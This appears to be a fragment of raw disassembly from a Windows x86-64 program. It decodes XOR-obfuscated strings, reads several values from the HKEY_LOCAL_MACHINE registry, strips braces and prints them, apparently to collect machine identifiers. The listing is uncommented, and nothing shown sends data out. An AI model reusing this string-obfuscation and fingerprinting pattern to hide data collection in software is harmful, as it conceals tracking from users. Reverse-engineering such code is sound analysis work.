mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x43
jl 0x14078b1b0
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rsi
mov r9d, 2
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x170]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov dword [0x14084b108], 0x1fe
mov rdx, rdi
lea rcx, [rbp + 0x240]
call fcn.140789a10
nop
lea rcx, [rbp + 0x240]
mov rax, qword [rbp + 0x250]
cmp qword [rbp + 0x258], 0xf
jbe 0x14078b25a
mov rcx, qword [rbp + 0x240]
lea rdi, [rax + rcx]
lea rbx, [rax + rcx]
jmp 0x14078b26f
lea rdi, [rax + rcx]
lea rbx, [rbp + 0x240]
add rbx, rax
lea rcx, [rbp + 0x240]
mov r14, rdi
mov r8b, 0x7b
mov rdx, rbx
call fcn.14080f530
mov rcx, rax
cmp rax, rbx
je 0x14078b2a5
inc rax
cmp rax, rbx
je 0x14078b2a5
nop dword [rax]
movzx edx, byte [rax]
cmp dl, 0x7b
je 0x14078b29d
mov byte [rcx], dl
inc rcx
inc rax
cmp rax, rbx
jne 0x14078b290
lea rax, [rbp + 0x240]
mov rdx, rcx
mov rbx, qword [rbp + 0x250]
cmp qword [rbp + 0x258], 0xf
jbe 0x14078b2cc
mov r8, qword [rbp + 0x240]
sub rdx, r8
jmp 0x14078b2d9
sub rdx, rax
mov r14, rdi
lea r8, [rbp + 0x240]
mov rax, rbx
sub r14, rcx
sub rax, rdx
cmp rax, r14
cmovb r14, rax
lea rcx, [r8 + rdx]
sub rbx, r14
mov r8, rbx
sub r8, rdx
inc r8
lea rdx, [rcx + r14]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x250], rbx
lea rax, [rbp + 0x240]
cmp qword [rbp + 0x258], 0xf
jbe 0x14078b32a
mov rcx, qword [rbp + 0x240]
lea rdi, [rbx + rcx]
add rbx, rcx
jmp 0x14078b33f
lea rdi, [rbx + rax]
lea rax, [rbp + 0x240]
add rbx, rax
lea rcx, [rbp + 0x240]
mov r14, rdi
mov r8b, 0x7d
mov rdx, rbx
call fcn.14080f530
mov rcx, rax
cmp rax, rbx
je 0x14078b375
inc rax
cmp rax, rbx
je 0x14078b375
nop dword [rax]
movzx edx, byte [rax]
cmp dl, 0x7d
je 0x14078b36d
mov byte [rcx], dl
inc rcx
inc rax
cmp rax, rbx
jne 0x14078b360
lea rax, [rbp + 0x240]
mov rdx, rcx
mov rbx, qword [rbp + 0x250]
cmp qword [rbp + 0x258], 0xf
jbe 0x14078b39c
mov r8, qword [rbp + 0x240]
sub rdx, r8
jmp 0x14078b3a9
sub rdx, rax
mov r14, rdi
lea r8, [rbp + 0x240]
mov rax, rbx
sub r14, rcx
sub rax, rdx
cmp rax, r14
cmovb r14, rax
lea rcx, [r8 + rdx]
sub rbx, r14
mov r8, rbx
sub r8, rdx
inc r8
lea rdx, [rcx + r14]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x250], rbx
movups xmm0, xmmword [str.:ySAPBWE_ORX_a]
movups xmmword [rbp + 0xd0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14078b593
cmp r13d, 2
jl 0x14078b547
movdqa xmm5, xmmword [0x14083c9b0]
mov edx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14078b440
jmp 0x14078b593
lea r9, [rbp + 0xd0]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, r8b
sub al, dl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14078b560
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [rbp + 0x240]
cmp qword [rbp + 0x258], 0xf
cmova rdx, qword [rbp + 0x240]
mov r8, qword [rbp + 0x250]
mov rcx, rax
call fcn.14079a730
movups xmm0, xmmword [str._C_WAVB9]
movups xmmword [rbp + 0xd0], xmm0
mov eax, dword [0x1408272c0]
mov dword [rbp + 0xe0], eax
movups xmm0, xmmword [0x140826ad0]
movups xmm1, xmmword [0x140826ae0]
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm1
movups xmm0, xmmword [0x140826af0]
movups xmm1, xmmword [0x140826b00]
movups xmmword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x1a0], xmm1
movups xmm0, xmmword [0x140826b10]
movups xmmword [rbp + 0x1b0], xmm0
movsd xmm0, qword [0x140826b20]
movsd qword [rbp + 0x1c0], xmm0
cmp word [reloc.WS2_32.dll_gethostname], 0
je 0x14078b69a
mov eax, 0x50
mov word [rbp + 0xd0], ax
xor word [rbp + 0xd2], 0x31
xor word [rbp + 0xd4], 0x32
xor word [rbp + 0xd6], 0x33
xor word [rbp + 0xd8], 0x34
xor word [rbp + 0xda], 0x35
xor word [rbp + 0xdc], 0x36
xor word [rbp + 0xde], 0x37
xor word [rbp + 0xe0], 0x38
xor word [rbp + 0xe2], 0x39
movzx eax, word [0x140826b28]
mov word [rbp + 0x1c8], ax
mov r8d, esi
cmp r13d, 2
jl 0x14078b7d7
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm7, xmmword [0x14083ca00]
lea rcx, [rbp + 0x170]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x14078b6e0
cmp r8d, 0x2d
jge 0x14078b827
movsxd rax, r8d
lea r9, [rbp + 0x170]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2d
jl 0x14078b7f0
mov qword [rsp + 0x30], r15
lea rbx, [0x14084c560]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
mov r9d, 2
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x170]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov dword [0x14084b108], 0x1fe
movsd xmm0, qword [str.:a_P_UCq_]
movsd qword [rbp + 0x28], xmm0
mov eax, dword [0x140826d98]
mov dword [rbp + 0x30], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x34], al
mov ecx, esi
cmp r13d, 2
jl 0x14078b99a
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm2, xmmword [0x14083c9b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.:a_P_UCq_]
xorps xmm2, xmm0
movd dword [rbp + 0x28], xmm2
movdqa xmm3, xmmword [0x14083c9c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x2c]
xorps xmm2, xmm1
movd dword [rbp + 0x2c], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp + 0x28]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xd
jl 0x14078b9b0
lea rdx, [rbp + 0x28]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140798cd0
mov rcx, rax
mov rdx, rbx
call fcn.140799030
movups xmm0, xmmword [str.PQ___S9]
movups xmmword [rbp + 0xd0], xmm0
mov eax, dword [0x140827450]
mov dword [rbp + 0xe0], eax
movups xmm0, xmmword [str.ctgctdrdtSXNRMP5]
movups xmm1, xmmword [0x140827280]
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm1
movups xmm0, xmmword [0x140827290]
movups xmmword [rbp + 0x190], xmm0
movsd xmm0, qword [0x1408272a0]
movsd qword [rbp + 0x1a0], xmm0
cmp word [reloc.WS2_32.dll_gethostname], 0
je 0x14078baab
mov eax, Ordinal_79
mov word [rbp + 0xd0], ax
xor word [rbp + 0xd2], 0x31
xor word [rbp + 0xd4], 0x32
xor word [rbp + 0xd6], 0x33
xor word [rbp + 0xd8], 0x34
xor word [rbp + 0xda], 0x35
xor word [rbp + 0xdc], 0x36
xor word [rbp + 0xde], 0x37
xor word [rbp + 0xe0], 0x38
xor word [rbp + 0xe2], 0x39
movzx eax, word [0x1408272a8]
mov word [rbp + 0x1a8], ax
mov r8d, esi
cmp r13d, 2
jl 0x14078bbe7
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm7, xmmword [0x14083ca00]
lea rcx, [rbp + 0x170]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x14078baf0
cmp r8d, 0x1d
jge 0x14078bc37
movsxd rax, r8d
lea r9, [rbp + 0x170]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1d
jl 0x14078bc00
mov qword [rsp + 0x30], r15
lea rbx, [0x14084cd70]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
mov r9d, 2
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x170]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov dword [0x14084b108], 0x1fe
mov rdx, rbx
lea rcx, [rbp + 0x220]
call fcn.140789a10
nop
lea rcx, [rbp + 0x220]
mov rax, qword [rbp + 0x230]
cmp qword [rbp + 0x238], 0xf
jbe 0x14078bcb1
mov rcx, qword [rbp + 0x220]
lea rdi, [rax + rcx]
lea rbx, [rax + rcx]
jmp 0x14078bcc6
lea rdi, [rax + rcx]
lea rbx, [rbp + 0x220]
add rbx, rax
lea rcx, [rbp + 0x220]
mov r14, rdi
mov r8b, 0x7b
mov rdx, rbx
call fcn.14080f530
mov rcx, rax
cmp rax, rbx
je 0x14078bcf9
inc rax
cmp rax, rbx
je 0x14078bcf9
movzx edx, byte [rax]
cmp dl, 0x7b
je 0x14078bcf1
mov byte [rcx], dl
inc rcx
inc rax
cmp rax, rbx
jne 0x14078bce4
lea rax, [rbp + 0x220]
mov rdx, rcx
mov rbx, qword [rbp + 0x230]
cmp qword [rbp + 0x238], 0xf
jbe 0x14078bd20
mov r8, qword [rbp + 0x220]
sub rdx, r8
jmp 0x14078bd2d
sub rdx, rax
mov r14, rdi
lea r8, [rbp + 0x220]
mov rax, rbx
sub r14, rcx
sub rax, rdx
cmp rax, r14
cmovb r14, rax
lea rcx, [rdx + r8]
sub rbx, r14
mov r8, rbx
sub r8, rdx
inc r8
lea rdx, [r14 + rcx]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x230], rbx
lea rax, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
jbe 0x14078bd7e
mov rcx, qword [rbp + 0x220]
lea rdi, [rbx + rcx]
add rbx, rcx
jmp 0x14078bd93
lea rdi, [rax + rbx]
lea rax, [rbp + 0x220]
add rbx, rax
lea rcx, [rbp + 0x220]
mov r14, rdi
mov r8b, 0x7d
mov rdx, rbx
call fcn.14080f530
mov rcx, rax
cmp rax, rbx
je 0x14078bdc6
inc rax
cmp rax, rbx
je 0x14078bdc6
movzx edx, byte [rax]
cmp dl, 0x7d
je 0x14078bdbe
mov byte [rcx], dl
inc rcx
inc rax
cmp rax, rbx
jne 0x14078bdb1
lea rax, [rbp + 0x220]
mov rdx, rcx
mov rbx, qword [rbp + 0x230]
cmp qword [rbp + 0x238], 0xf
jbe 0x14078bded
mov r8, qword [rbp + 0x220]
sub rdx, r8
jmp 0x14078bdfa
sub rdx, rax
mov r14, rdi
lea r8, [rbp + 0x220]
mov rax, rbx
sub r14, rcx
sub rax, rdx
cmp rax, r14
cmovb r14, rax
lea rcx, [r8 + rdx]
sub rbx, r14
mov r8, rbx
sub r8, rdx
inc r8
lea rdx, [rcx + r14]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x230], rbx
movsd xmm0, qword [str.:SPXRq_]
movsd qword [rbp + 0x38], xmm0
mov eax, dword [0x140827890]
mov dword [rbp + 0x40], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x44], al
mov ecx, esi
cmp r13d, 2
jl 0x14078bf5c
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm2, xmmword [0x14083c9b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.:SPXRq_]
xorps xmm2, xmm0
movd dword [rbp + 0x38], xmm2
movdqa xmm3, xmmword [0x14083c9c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x3c]
xorps xmm2, xmm1
movd dword [rbp + 0x3c], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp + 0x38]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xd
jl 0x14078bf70
lea rdx, [rbp + 0x38]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
cmova rdx, qword [rbp + 0x220]
mov r8, qword [rbp + 0x230]
mov rcx, rax
call fcn.14079a730
movups xmm0, xmmword [0x140827400]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140827410]
movups xmmword [rbp + 0xe0], xmm1
mov eax, dword [0x140827420]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x140827424]
mov word [rbp + 0xf4], ax
mov r8d, esi
cmp r13d, 2
jl 0x14078c137
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm7, xmmword [0x14083ca00]
lea rcx, [rbp + 0xd0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x14078c040
cmp r8d, 0x13
jge 0x14078c187
movsxd rax, r8d
lea r9, [rbp + 0xd0]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x14078c150
movups xmm1, xmmword [0x140826830]
movups xmm0, xmmword [0x140826820]
movups xmmword [rbp + 0x180], xmm1
movups xmmword [rbp + 0x170], xmm0
mov eax, dword [0x140826880]
movups xmm1, xmmword [0x140826850]
movups xmm0, xmmword [0x140826840]
mov dword [rbp + 0x1d0], eax
movups xmmword [rbp + 0x1a0], xmm1
movups xmmword [rbp + 0x190], xmm0
movzx eax, word [0x140826884]
movups xmm1, xmmword [str.6_5_1_6]
movups xmm0, xmmword [0x140826860]
mov word [rbp + 0x1d4], ax
movups xmmword [rbp + 0x1c0], xmm1
movups xmmword [rbp + 0x1b0], xmm0
mov r8d, esi
cmp r13d, 2
jl 0x14078c327
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm7, xmmword [0x14083ca00]
lea rcx, [rbp + 0x170]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x30
jl 0x14078c230
cmp r8d, 0x33
jge 0x14078c377
movsxd rax, r8d
lea r9, [rbp + 0x170]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x33
jl 0x14078c340
mov qword [rsp + 0x30], r15
lea rbx, [0x14084c360]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
mov r9d, 2
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x170]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov dword [0x14084b108], 0x1fe
mov rdx, rbx
lea rcx, [rbp + 0x200]
call fcn.140789a10
nop
lea rcx, [rbp + 0x200]
mov rax, qword [rbp + 0x210]
cmp qword [rbp + 0x218], 0xf
jbe 0x14078c3f1
mov rcx, qword [rbp + 0x200]
lea rdi, [rax + rcx]
lea rbx, [rax + rcx]
jmp 0x14078c406
lea rdi, [rax + rcx]
lea rbx, [rbp + 0x200]
add rbx, rax
lea rcx, [rbp + 0x200]
mov r14, rdi
mov r8b, 0x7b
mov rdx, rbx
call fcn.14080f530
mov rcx, rax
cmp rax, rbx
je 0x14078c439
inc rax
cmp rax, rbx
je 0x14078c439
movzx edx, byte [rax]
cmp dl, 0x7b
je 0x14078c431
mov byte [rcx], dl
inc rcx
inc rax
cmp rax, rbx
jne 0x14078c424
lea rax, [rbp + 0x200]
mov rdx, rcx
mov rbx, qword [rbp + 0x210]
cmp qword [rbp + 0x218], 0xf
jbe 0x14078c460
mov r8, qword [rbp + 0x200]
sub rdx, r8
jmp 0x14078c46d
sub rdx, rax
mov r14, rdi
lea r8, [rbp + 0x200]
mov rax, rbx
sub r14, rcx
sub rax, rdx
cmp rax, r14
cmovb r14, rax
lea rcx, [r8 + rdx]
sub rbx, r14
mov r8, rbx
sub r8, rdx
inc r8
lea rdx, [rcx + r14]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x210], rbx
lea rax, [rbp + 0x200]
cmp qword [rbp + 0x218], 0xf
jbe 0x14078c4be
